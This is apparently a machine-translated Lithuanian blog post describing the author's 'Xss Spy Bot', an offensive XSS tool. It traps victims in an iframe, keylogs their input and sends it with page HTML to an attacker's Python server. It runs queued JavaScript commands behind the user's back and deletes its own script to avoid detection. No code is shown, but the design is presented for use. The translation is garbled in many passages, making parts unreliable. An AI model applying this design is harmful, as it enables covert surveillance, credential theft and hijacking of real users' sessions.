Rėmelio atnaujinimo tikrinimo funkcija. Išbandžiau kelis būdus, kaip ekonomiškai išspręsti šią problemą, pakabindamas įvykių tvarkykles turinio langas arba turinysDokumentas, bet niekas neveikė, todėl turėjau parašyti funkciją, kuri patikrintų kadro adresą ir palygintų jį su anksčiau išsaugotu ir pagal tai nuspręstų ar kadras atnaujinamas (ar pasikeitė adresas) ir tada vadina save rekursyviai.

Tokių patikrinimų dažnis per sekundę yra valdomas kintamuoju delsimas, kuris yra nurodytas roboto kodo failo pradžioje. Bet vėliau, jau parašęs, radau efektyvesnį sprendimą – naudok paprastą sprendimą ir pakabink įkėlimas prie rėmo, todėl tą funkciją palikau, bet pakomentavau, jei vėliau pasirodys paklausesnė.

Schema čia gana paprasta – po kiekvieno kadro įkėlimo (įskaitant ir pirmąjį įkėlimą) botas siunčia į serverį visą puslapio HTML kodą kartu su esamu adresu, kad vėliau būtų galima atskirti, ar kodas priklauso norimam. puslapių.

Serveris įgyvendina puslapių saugojimo logiką – kiekvienam domenui serveris sukuria aplanką su šio domeno pavadinimu ir ten išsaugo visus duomenis. Puslapių kodai išsaugomi ir nuolat atnaujinami iki naujausių versijų, tačiau kiekvieną naują dieną sukuriama nauja puslapio kopija, kad prireikus galėtumėte valdyti versijų istoriją. Tai skirta /news.php Rugsėjo 1 dieną būsena bus atnaujinta, o rugsėjo 2 dieną bus sukurta jos kopija, aktuali tik tai dienai ir taip vėl kiekvieną dieną (jei vartotojas šiame puslapyje lankosi kasdien). Puslapio pavadinimą sudaro data ir kelias į šį puslapį, palyginti su svetainės šaknimis (ty be domeno).

Idėją kai kurie entuziastai jau buvo įgyvendinę, bet jų darbas man netiko, jau vien dėl to, kad dauguma buvo gana paprasti, tai yra aptiko paspausto klavišo kodą ir per String.fromCharCode išversti į simbolius. Tačiau šis metodas turi nemažai trūkumų – valdymo klavišai, tokie kaip „Shift“, „Control“, „Space“ ir kt., nėra verčiami į jokią formą (dažnai tiesiog į tuščią simbolį), raidinių ir skaitmeninių klavišų sąveika su „Shift“ yra neteisingai registruojama, nes tai turi būti įdiegta programiškai, o Be to, visi paspausti klavišai rodomi didžiosiomis raidėmis, kurias taip pat galima taisyti programiškai.

Rezultatas buvo klaviatūros kaupiklis, kuris teisingai aptiko visus skaičių, raidžių ir pagrindinių simbolių klavišus, dirbo su abiem išdėstymais, reaguodamas į poslinkį ir registruodamas visus pagrindinius specialiuosius klavišus. Tiesa, kai kurie simboliai (skaičių eilutės viršuje, kurie spausdinami paspaudus pamainą ir skaičių) kai kuriose mašinose gali skirtis, nes buvo įdiegti pagal pagrindinį standartą, kurį kai kurios įmonės keičia.
Kiekvieną paspaustą simbolių dalį klientas išlaiko tol, kol teksto elementas praranda fokusą. Toliau ši dalis siunčiama į serverį, kur išsaugoma tekstiniame faile, kuris taip pat bus kuriamas kiekvieną dieną su nauja kopija, kad ji neišaugtų iki didelių dydžių ir galėtumėte greitai rasti tai, ką vartotojas įvedė tuo metu.
Be pačių raktų, su kiekviena dalimi į serverį siunčiama informacija apie elementą, kuriame buvo įvestas tekstas (ty ar jis buvo , [ arba kai kurie kai vartotojas naudojo sparčiuosius klavišus), be elemento pavadinimo, siunčiami pagrindiniai jo duomenys (id, pavadinimas, klasė - jei yra), kad juos būtų galima lengvai rasti kode. Ir, žinoma, įrašomas puslapio, kuriame buvo įdarbinta, adresas ir apytikslis šio įdarbinimo laikas. Apskritai, pakankamai informacijos apie vartotojo bakstelėjimą klaviatūra siunčiama tolesnei analizei.

Šį procesą gali atlikti užpuolikas arba toje pusėje, kurioje robotas veiks serverio pusėje, arba net nuotoliniu būdu. Paleidus serverio scenarijų, paleidžiamas savarankiškai parašytas miniatiūrinis žiniatinklio serveris, aptarnaujantis užklausas iš boto ir jo valdiklio, veikiančio per žiniatinklio sąsają. Tai yra, paleidus žiniatinklio serveris išduoda nuorodą, kurią nuėję galite pradėti duoti komandas robotui.

Apie šį valdymo skydelį. Pirma, reikėjo jį apriboti slaptažodžiu (kelias ir mažai žmonių žinos apie veikiančią paslaugą tokiame ir tokiame prievade arba apie adresą, kuriuo reikia eiti norint naudotis šia paslauga), kad pirmą kartą prisijungus serveris paprašys slaptažodžio, kuris pateikiamas adreso juostoje (bus pateiktas pavyzdys), originalus slaptažodis išsaugomas slaptažodis.txt, kurį galima keisti. Po pirmojo prisijungimo žiniatinklio serveris nurodys naršyklei išsaugoti slaptažodį slapuke, todėl jums nereikės daugiau dėl to jaudintis.

Pačiame puslapyje komandoms siųsti robotui taip pat yra informacijos apie roboto būseną - ar jis šiuo metu yra prisijungęs, ar neprisijungęs, ir keletas nustatymų, iš kurių pirmasis yra pagrindinis kompiuteris, tai yra IP. svetainės adresą arba domeną, į kurį bus siunčiamos komandos robotui. Tai sukurta tam atvejui, kai keliose svetainėse yra šis robotas, kad būtų galima jas identifikuoti. Serveryje, taip pat ir šiuo atveju, visi duomenys yra suskirstyti į aplankus su domenų pavadinimais.
Kitas yra langas, kuriame galite rašyti komandas robotui JS, ir parinktis, kuri nustato, kur bus vykdomas šis JS kodas, pagrindiniame lange, kuriame yra robotas, ar rėmelyje - tai daroma dėl patogumo, bet kuriuo atveju .

Jei botas neprisijungęs, tada serveris tiesiog išsaugo komandas ir vėliau, botui prisijungus, tai yra, vartotojui vėl apsilankius puslapyje su juo arba sekant užpuoliko nuorodą, šios komandos bus vykdomos.
Tai labai patogu, jei per pirmą žvalgybą botas numetė visus vartotojo aplankytus puslapius (pavyzdžiui, asmeninę paskyrą), išstudijavę kodą, kurio kodą rašėme komandas JS, kad tada botas spustelėtų mums reikalingas nuorodas, suvesti reikiamus duomenis, rodyti reikiamas nuotraukas ir pan., kurios padės pasiekti Jūsų tikslą.

Arba galite tiesiogiai realiu laiku, per kodą greitai peržiūrėti puslapių turinį ir duoti komandas botui, kad jis atsiųstų kitų puslapių kodą, nueitų kitu adresu ir pan. Ir visa tai bus daroma „už ekranas“ naudotojo, kuris ramiai naršys svetainėje per rėmelį.

Jūsų patogumui dažniausiai naudojamas instrukcijas galite suformuoti į visas JS funkcijas, kurios vėliau įvedamos į roboto šaltinio failą ( xsb.js, daugiau apie failo struktūrą toliau) ir naudojimą. Arba naudokite tas funkcijas, kurios yra įdėtos į botą, nors ten tik pagrindai ir nieko naujo nėra, bet pavyzdžiui, puslapio kodo siuntimo funkciją galite naudoti bet kada, o ne perkraunant kadrą. Galite parašyti funkciją, kuri fone atidarys jai perduotas nuorodas naujuose rėmeliuose, kad vartotojo vardu galėtumėte peržiūrėti kelių puslapių turinį vienu metu (ir valdyti šį turinį jo virtualiomis rankomis).

Na, o paskutinė funkcija įgyvendinta gana paprastai (ją galima išjungti, faile nustačius norimą kintamąjį, jie komentuojami). Scenarijus, nustatęs ir pakabinęs visas įvykių tvarkykles, sukūręs visus kintamuosius ir funkcijas, ištrina save

Juk visi duomenys per naršyklę jau buvo įkelti į RAM, todėl nėra ko jaudintis, bet tai teoriškai, gal vėliau bus kokių problemų į kurias neatsižvelgiau, todėl sukūriau kintamąjį kuriuos prireikus galima naudoti šiai funkcijai išjungti.

Ištrynus visus scenarijus bus itin sunku pastebėti XSS, nes kadro buvimas to netiesiogiai rodo, o patį kodą galima rasti tik naršyklės tinklo srauto istorijos žurnaluose (kurie pagal numatytuosius nustatymus nesaugomi daugelyje naršyklių, jei kūrėjo skydelis neatidarytas).

Paprastesniam ir patogesniam boto paleidimo būdui buvo nuspręsta į lizdus įrašyti savo nedidelį žiniatinklio serverį, kuris aptarnautų botą, atliktų visas išsiųstų duomenų priėmimo ir paskelbimo operacijas, perduotų pranešimus tarp užpuoliko ir boto, ir sukurti užpuoliko žiniatinklio sąsają komandai .
Serveris buvo parašytas Python, bandžiau naudoti tik standartines bibliotekas, kad nieko nereikėtų diegti prieš paleidžiant. Be to, pats serveris redaguoja kai kuriuos duomenis scenarijuose, tai yra, roboto JS scenarijuje nereikia nustatyti komanduojančio serverio adreso, žiniatinklio serveris pats nustatys reikiamą jį paleisdamas. Serverio konfigūracijoje yra tik vienas parametras - prievadas, nuo kurio jis bus paleistas (numatytasis nustatymas yra 8000).
Paleidus, serveris pateiks visus reikalingus duomenis – nuorodą į JS scenarijų, kurią reikės paslysti, nuorodą į komandų skydelį, tiksliau – nuorodas į išorinius ir vietinius adresus, kad būtų patogiau.

Mes paleidžiame serverį į kokį nors nepanaudotą prievadą ir jūs galite išsiųsti nuorodą su boto scenarijumi, tada visi jį paspaudę atsiųs duomenis, kuriuos serveris išsaugos bet kuriuo paros metu. Tada galite tiesiog juos peržiūrėti, jei reikia palikti komandos robotą ir toliau daryti savo veiksmus.

Aplanke yra šie failai:

• xsb.py – pagrindinis failas, kuriame įdiegta serverio dalis, kad robotas veiktų, paleiskite jį ir tiesiog naudokite jo siūlomą nuorodą;
• xsb.js - čia saugomas roboto JS kodas, kurio nuorodą pateikia serveris, jo pradžioje deklaruojami konfigūracijos kintamieji, kuriuos galite keisti savo nuožiūra (kai kuriuos, būtent pagrindinį kompiuterį ir prievadą, serveris pats nustatys vėliau, jums nereikės jaudintis);
• panel.html - iš čia serveris paima kodą boto valdymo pultui, sąsają galite koreguoti savo nuožiūra;
• slaptažodis.txt – čia saugomas valdymo pulto slaptažodis, kurį galima keisti;
• savedData – tai katalogas, kuriame bus kuriami aplankai su svetainių domenais, kuriame bus išsaugota visa informacija.

Leiskite dar kartą pažymėti, kad byloje xsb.js galite pridėti savo funkcijų, kurias galėsite iškviesti per skydelį, nerašydami didžiulių kodo dalių;

Parašęs savo sugalvotą būdą išlaikyti vartotoją puslapyje su XSS per rėmelius (na, kaip sugalvojau - aš asmeniškai atradau tai, visai gali būti, kad kas nors kitas „išrado“ tą pačią techniką sau arba ji jau kažkur yra viešumoje švytėjo, nes dabar gana sunku sukurti kažką tikrai naujo, o kaip taisyklė, po kurio laiko pamatai, kad „tai jau buvo Simpsonuose“) ėmiau plačiau gilintis į BeEF ir skaityti jos wiki. Tada sužinojau, kad ten buvo įdiegta kita technika tam pačiam tikslui pasiekti - prailginti vartotojo laiką puslapyje su vykdomuoju XSS (kuriuos jie vadino žmogus naršyklėje). O buvo įgyvendinta taip: visos nuorodos pradiniame puslapyje buvo pakeistos taip, kad paspaudus bet kurią iš jų scenarijus neperkraudavo puslapio, o per Ajax išsiuntė užklausą į serverį ir įvedė duomenis gautas atsakyme, tai yra, galima sakyti, dirbtinai jį atnaujino, kas taip pat beveik nesiskyrė nuo įprastos gaivos.

Todėl ne man pirmam pavyko įgyvendinti šią idėją (net jei metodai pasirodė kitokie). Tačiau abu šie metodai turi savo trūkumų:

Įkėlimo metodas per neveikia, jei atsakyme yra antraštė X-Frame-Options: DENY, bet kitu atveju jis veikia kaip įprastas naršyklės langas;

Ajax metodas visada veikia, jei jį palaiko naršyklė (dabar jį palaiko visos pagrindinės naršyklės), tačiau naudojant naują Web 2.0 standartą vis daugiau perėjimų suaktyvina bet kokių elementų pasirinktiniai įvykiai per JS. Vieną dieną nuėjau į Google AdWords ir nusprendžiau pažiūrėti, kaip ten sąveikauja jų HTML ir JS, nes visi mano vorai labai prastai kūrė galinį šios paslaugos žemėlapį. Ir aš visą vakarą tyliai išsigandau, kaip ten viskas neįprasta, kai tekstiniai elementai buvo mygtukai, perjungikliai ir slankikliai, vaizduojami su viskuo kitu, o kiekvienas turėjo apie 30 tvarkyklių skirtingiems įvykiams.

Tai yra, sudėtingoje svetainėje perėjimo mygtukas (subjektyviai nuoroda) bus įdiegtas naudojant įprastą žymą , kuriame yra stilių ir prie kurių pridedamos įvykių tvarkyklės, iš kurių vienas, pvz., onclick nukreipia vartotoją į kitą puslapį. Taip pat yra standartinių elementų, tokių kaip [i] arba pats ir t.t., kurios taip pat iš tikrųjų yra nuorodos į kitus puslapius, bet į kurias BeEF nereaguos ir puslapis paprasčiausiai nebus atnaujintas paspaudus daugumą mygtukų ir kitų elementų. Tai gali paskatinti vartotoją atnaujinti puslapį arba iš naujo įeiti iš kitos pusės, o tai užmuša mūsų aktyvią XSS sesiją.

Kad būtų trumpai pavadinti failai, pavadinau jį Xss Spy Bot.

P.S.
Visą šį reikalą parašyti užtruko šiek tiek daugiau nei mėnesį dėl periodinio laiko stokos ir nuolatinio blaškymosi. Taip pat dėl ​​šios priežasties kodo kokybė ir tikimybė patekti į kokią nors klaidą yra gana didelė. Tad prašau per daug nesikeikti, o parašyti, kas kam nors negerai, kad būtų galima ištaisyti.
Aš pats išbandžiau robotą tik 4 mašinose, visose jose veikia Debian.

Ilgalaikiai planai šiam botui, jei yra motyvacijos:
— įdiegti puslapių, kuriuos robotas siunčia į serverį, kodo atvaizdavimą, kad jis iškart atsidarytų naršyklėje ir būtų „paliestas“ bei išbandytas skrydžio metu;
— jie bandys pagauti kai kurias WebRTC technologijos gėrybes, tai yra rasti būdų gauti naujos informacijos, kurios grynas JS negali išgauti;
— įdiegti ryšį tarp roboto ir serverio naudojant WebSocket protokolą per HTTP;
— pridėti tam tikrų valdymo pulto patogumų;

Paskutinį kartą atnaujinta 2016 m. lapkričio 18 d.